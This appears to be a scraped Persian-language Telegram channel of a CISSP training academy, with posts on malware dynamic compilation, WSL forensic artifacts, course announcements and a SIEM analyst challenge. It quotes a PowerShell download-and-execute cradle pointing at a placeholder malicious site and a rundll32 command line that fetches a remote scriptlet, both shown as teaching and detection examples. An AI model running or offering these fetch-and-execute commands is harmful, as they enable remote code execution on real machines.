کامپایل داینامیک یکی از تکنیکهای رایج مبهمسازی (Obfuscation) محسوب میشود. بسیاری از ابزارهای تحلیل بدافزار نمیتوانند کدی را که در زمان اجرا تولید میشود، به راحتی بررسی کنند. این مسئله باعث سختتر شدن دیباگ و تحلیل رفتار بدافزار میشود.
مثالهای رایج از کامپایل داینامیک در بدافزارها
PowerShell Cradle
بدافزارهای مبتنی بر PowerShell معمولاً از تکنیکهای کامپایل داینامیک استفاده میکنند تا کد مخرب را از سرور بارگذاری کرده و مستقیم اجرا کنند. به عنوان مثال:
IEX (New-Object Net.WebClient).DownloadString('http://malicioussite.com/payload.ps1');
- این کد در زمان اجرا، اسکریپت مخرب را از وبسایت دریافت کرده، و آن را داینامیک کامپایل و اجرا میکند.
Dynamic DLL Loading
برخی بدافزارها بهجای اینکه همه کد مخرب را در فایل اصلی ذخیره کنند، فقط هسته بدافزار را اجرا کرده و سپس DLLهای مخربرا با کامپایل داینامیک بارگذاری میکنند. این کار معمولاً از طریق APIهای ویندوز مثل LoadLibrary انجام میشود.
JavaScript Eval
تکنیکهای کامپایل داینامیک در JavaScript نیز به وفور استفاده میشود. بدافزار ممکن است از دستور eval() استفاده کند تا کدی که به صورت داینامیک تولید یا دریافت شده است را اجرا کند.
javascript
let dynamicCode = "alert('Executed malicious code!')";
eval(dynamicCode); // اجرای کد مخرب
تحلیل کامپایل داینامیک در بدافزار
چالشها
1. کد دینامیک و غیرقابل پیشبینی:چون کد واقعی در زمان اجرا تولید میشود، تحلیلگر نمیتواند به طور مستقیم در فایل اولیه رفتار بدافزار را شناسایی کند.
2. اجرای در حافظه: ممکن است بدافزار فایل یا ردپای مشخصی روی دیسک نداشته باشد و فقط در حافظه فعالیت کند.
3. مبهمسازی کد: کد داینامیک معمولاً با تکنیکهای مبهمسازی همراه است تا باز کردن و خواندن آن پیچیدهتر شود.
#آکادمی_روزبه
مرکز تخصصی CISSP
👍5❤2⚡2
پنج شنبه شروع کلاس CISSP
ساعت ۱۲:۳۰ تا ۱۶:۳۰
آنلاین در سراسر ایران
ساعت ۱۲:۳۰ تا ۱۶:۳۰
آنلاین در سراسر ایران
❤4👍2🐳1
CIS_Controls__v8.1_Guide__2024_06(1).pdf
1.6 MB
برخی دوستان امکان دانلود CIS رو نداشتن
بعنوان یه راهکار جمع و جور واسه نقشه راه سازمان توصیه اش میکنم
اما اگر میخواین یه معمار و طراح اصولی واسه امنیت بشین راهکارش CISSP هست
بعنوان یه راهکار جمع و جور واسه نقشه راه سازمان توصیه اش میکنم
اما اگر میخواین یه معمار و طراح اصولی واسه امنیت بشین راهکارش CISSP هست
🙏3👍2
خدمات و سرویس های پروژه ای و مشاوره ای من
همچنین آموزش هایم
درقالب شرکت پیشگامان فناوری اطلاعات هامون به شما ارائه میگردد.
https://haumoun.com
تلفن تماس
02188105008
برای ایرانی امن ؛ با من در تماس باشید
#آکادمی_روزبه
مرکز تماس آکادمی روزبه : واتس اپ 09902857290
Please open Telegram to view this post
VIEW IN TELEGRAM
👍3🤝2👏1
نگاهی به فارنزیک در WSL
مقوله WSL (Windows Subsystem for Linux) یک محیط برای اجرای توزیعهای لینوکس در ویندوز است که اخیراً به دلیل قابلیتها و انعطافپذیری آن، توجه هکرها و تحلیلگران امنیت سایبری را به خود جلب کرده است.
در زمینه فارنزیک، WSL به عنوان یک چالش جدید دیده میشود چون بسیاری از ابزارهای فارنزیک سنتی نمیتوانند به طور مؤثر دادههای WSL را تحلیل کنند.
در ادامه به جنبههای مهم فارنزیک در WSL نگاهی میاندازم:
1. چرا فارنزیک در WSL اهمیت پیدا کرده است؟
مخفی بودن فعالیتها: استفاده از محیط لینوکس در ویندوز به مهاجمان اجازه میدهد تا فعالیتهای مخرب خود را دور از نظارت ابزارهای سنتی امنیتی ویندوز اجرا کنند.
بازیابی دادهها: فضاهای ذخیرهسازی و فایلسیستم WSL (مانند استانداردهای لینوکس مثل Ext4) با ابزارهای فارنزیک ویندوز سازگار نیستند و این باعث کاهش قابلیت شناسایی میشود.
ترکیب سیستمها: مهاجمان میتوانند از قابلیتهای ویندوز و لینوکس به طور ترکیبی استفاده کنند تا قابلیتهای مخرب را افزایش دهند.
2. موضوع Artifactهای کلیدی در WSL
در فارنزیک، Artifact به هر داده یا منطقی گفته میشود که بتواند اطلاعات مفیدی درباره یک فعالیت مخرب یا مجرمانه ارائه دهد. در WSL، Artifactها شامل موارد زیر هستند:
الف) فایلهای سیستمی توزیع لینوکس
(WSL Filesystem):
مسیر ذخیرهسازی فایلها در WSL:
نسخه 1: مسیر ذخیرهسازی در ویندوز (مانند C:\Users\Username\AppData\Local\lxss).
نسخه 2: WSL از یک ماشین مجازی سبک با فایلسیستم Ext4 استفاده میکند. فایلهای لینوکس در یک فایل vhd قرار میگیرند (مانند C:\Users\Username\AppData\Local\Packages\...).
مهاجمان ممکن است فایلهای اجرایی مخرب (مثل اسکریپتهای Bash یا فایلهای رمزگذاریشده) را در این مسیرها ذخیره کنند.
ب)فایلهای Log و تنظیمات:
فایلهای کانفیگ: فایلهایی مثل wsl.conf یا فایلهای محیطی سیستم لینوکس.
سشنها و لاگها: مسیرهای ذخیره لاگها و فعالیتهای کاربر در محیط لینوکس یا ویندوز که شامل تاریخچه ترمینال لینوکس (مانند .bash_history) میشود.
پروسهها: پروسههای فعال در محیط WSL که در Task Manager ویندوز قابل مشاهده نیستند.
ج) شبکه و C2 ارتباطات:
این WSL میتواند با شبکه ویندوز به اشتراک بپردازد، که مهاجمان از آن برای ارتباط با سرورهای C2 استفاده میکنند.
د) ماشین مجازی:
چون WSL2 از ماشین مجازی بهره میگیرد، بررسی حافظه (Memory Dump) آن میتواند اطلاعات ارزشمندی درباره فعالیتهای مخرب به دست دهد.
#آکادمی_روزبه
مرکز تخصصی CISSP
پی نوشت :
مقوله WSL 1 در واقع یک لایه سازگاری است که syscall های لینوکس را مستقیماً به syscall های ویندوز ترجمه میکند. در این معماری، فایلهای لینوکس مستقیماً در فایلسیستم ویندوز (معمولاً در پوشه AppData\Local\lxss) ذخیره میشوند.
اما WSL 2 از یک ماشین مجازی سبک (lightweight utility virtual machine) استفاده میکند که یک هسته لینوکس واقعی را اجرا میکند. در این معماری، فایلهای لینوکس در یک فایل دیسک مجازی (VHD) با فایلسیستم Ext4 ذخیره میشوند. به همین دلیل، تحلیل حافظه (Memory Dump) ماشین مجازی WSL 2 میتواند اطلاعات مربوط به پروسهها، حافظه استفاده شده توسط هسته لینوکس و سایر فعالیتهای درون محیط WSL 2 را فراهم کند، که در WSL 1 به این شکل قابل دسترسی نیست.
مقوله WSL (Windows Subsystem for Linux) یک محیط برای اجرای توزیعهای لینوکس در ویندوز است که اخیراً به دلیل قابلیتها و انعطافپذیری آن، توجه هکرها و تحلیلگران امنیت سایبری را به خود جلب کرده است.
در زمینه فارنزیک، WSL به عنوان یک چالش جدید دیده میشود چون بسیاری از ابزارهای فارنزیک سنتی نمیتوانند به طور مؤثر دادههای WSL را تحلیل کنند.
در ادامه به جنبههای مهم فارنزیک در WSL نگاهی میاندازم:
1. چرا فارنزیک در WSL اهمیت پیدا کرده است؟
مخفی بودن فعالیتها: استفاده از محیط لینوکس در ویندوز به مهاجمان اجازه میدهد تا فعالیتهای مخرب خود را دور از نظارت ابزارهای سنتی امنیتی ویندوز اجرا کنند.
بازیابی دادهها: فضاهای ذخیرهسازی و فایلسیستم WSL (مانند استانداردهای لینوکس مثل Ext4) با ابزارهای فارنزیک ویندوز سازگار نیستند و این باعث کاهش قابلیت شناسایی میشود.
ترکیب سیستمها: مهاجمان میتوانند از قابلیتهای ویندوز و لینوکس به طور ترکیبی استفاده کنند تا قابلیتهای مخرب را افزایش دهند.
2. موضوع Artifactهای کلیدی در WSL
در فارنزیک، Artifact به هر داده یا منطقی گفته میشود که بتواند اطلاعات مفیدی درباره یک فعالیت مخرب یا مجرمانه ارائه دهد. در WSL، Artifactها شامل موارد زیر هستند:
الف) فایلهای سیستمی توزیع لینوکس
(WSL Filesystem):
مسیر ذخیرهسازی فایلها در WSL:
نسخه 1: مسیر ذخیرهسازی در ویندوز (مانند C:\Users\Username\AppData\Local\lxss).
نسخه 2: WSL از یک ماشین مجازی سبک با فایلسیستم Ext4 استفاده میکند. فایلهای لینوکس در یک فایل vhd قرار میگیرند (مانند C:\Users\Username\AppData\Local\Packages\...).
مهاجمان ممکن است فایلهای اجرایی مخرب (مثل اسکریپتهای Bash یا فایلهای رمزگذاریشده) را در این مسیرها ذخیره کنند.
ب)فایلهای Log و تنظیمات:
فایلهای کانفیگ: فایلهایی مثل wsl.conf یا فایلهای محیطی سیستم لینوکس.
سشنها و لاگها: مسیرهای ذخیره لاگها و فعالیتهای کاربر در محیط لینوکس یا ویندوز که شامل تاریخچه ترمینال لینوکس (مانند .bash_history) میشود.
پروسهها: پروسههای فعال در محیط WSL که در Task Manager ویندوز قابل مشاهده نیستند.
ج) شبکه و C2 ارتباطات:
این WSL میتواند با شبکه ویندوز به اشتراک بپردازد، که مهاجمان از آن برای ارتباط با سرورهای C2 استفاده میکنند.
د) ماشین مجازی:
چون WSL2 از ماشین مجازی بهره میگیرد، بررسی حافظه (Memory Dump) آن میتواند اطلاعات ارزشمندی درباره فعالیتهای مخرب به دست دهد.
#آکادمی_روزبه
مرکز تخصصی CISSP
پی نوشت :
مقوله WSL 1 در واقع یک لایه سازگاری است که syscall های لینوکس را مستقیماً به syscall های ویندوز ترجمه میکند. در این معماری، فایلهای لینوکس مستقیماً در فایلسیستم ویندوز (معمولاً در پوشه AppData\Local\lxss) ذخیره میشوند.
اما WSL 2 از یک ماشین مجازی سبک (lightweight utility virtual machine) استفاده میکند که یک هسته لینوکس واقعی را اجرا میکند. در این معماری، فایلهای لینوکس در یک فایل دیسک مجازی (VHD) با فایلسیستم Ext4 ذخیره میشوند. به همین دلیل، تحلیل حافظه (Memory Dump) ماشین مجازی WSL 2 میتواند اطلاعات مربوط به پروسهها، حافظه استفاده شده توسط هسته لینوکس و سایر فعالیتهای درون محیط WSL 2 را فراهم کند، که در WSL 1 به این شکل قابل دسترسی نیست.
👍5
✅دوستانی که در کلاس CISSP ثبت نام کرده اند به همان شماره ثبت نامی ؛ تا فردا ظهر اطلاعات برای حضور در کلاس ارسال میگردد
💠ضمنا لینک گروه تلگرامی هم ارسال میشود
در این گروه موارد زیر مطرح میگردد:
-بحث و تبادل نظر در خصوص مطالب درسی
- نکات آزمون
-رفع اشکال
- تبادل منابع
- تست زنی
لذا بخشی از کلاس عملا در گروه میباشد پس شرکت و مطالعه مطالب گروه لازم است.
💠ضمنا لینک گروه تلگرامی هم ارسال میشود
در این گروه موارد زیر مطرح میگردد:
-بحث و تبادل نظر در خصوص مطالب درسی
- نکات آزمون
-رفع اشکال
- تبادل منابع
- تست زنی
لذا بخشی از کلاس عملا در گروه میباشد پس شرکت و مطالعه مطالب گروه لازم است.
❤6👍2
چالش واسه تحلیلگر سطح ۱
فرض کنید در یک لاگ از SIEM متوجه الگوی زیر شدهاید:
Parent Process: powershell.exe
Child Process: rundll32.exe
Command Line: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//malicious[.]domain/payload.sct").Run();
❓بهنظر شما:
1. این تکنیک از چه نوع حملهای استفاده میکنه؟
2. کدام دسته از تکنیکهای MITRE ATT\&CK رو پوشش میده؟
3. چطور میتونید این رفتار رو با SIEM یا EDR شناسایی کنید؟
4. چه روشهایی برای جلوگیری از اجرای چنین اسکریپتهایی پیشنهاد میکنید؟
#آکادمی_روزبه
مرکز تخصصی CISSP
فرض کنید در یک لاگ از SIEM متوجه الگوی زیر شدهاید:
Parent Process: powershell.exe
Child Process: rundll32.exe
Command Line: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//malicious[.]domain/payload.sct").Run();
❓بهنظر شما:
1. این تکنیک از چه نوع حملهای استفاده میکنه؟
2. کدام دسته از تکنیکهای MITRE ATT\&CK رو پوشش میده؟
3. چطور میتونید این رفتار رو با SIEM یا EDR شناسایی کنید؟
4. چه روشهایی برای جلوگیری از اجرای چنین اسکریپتهایی پیشنهاد میکنید؟
#آکادمی_روزبه
مرکز تخصصی CISSP
👍8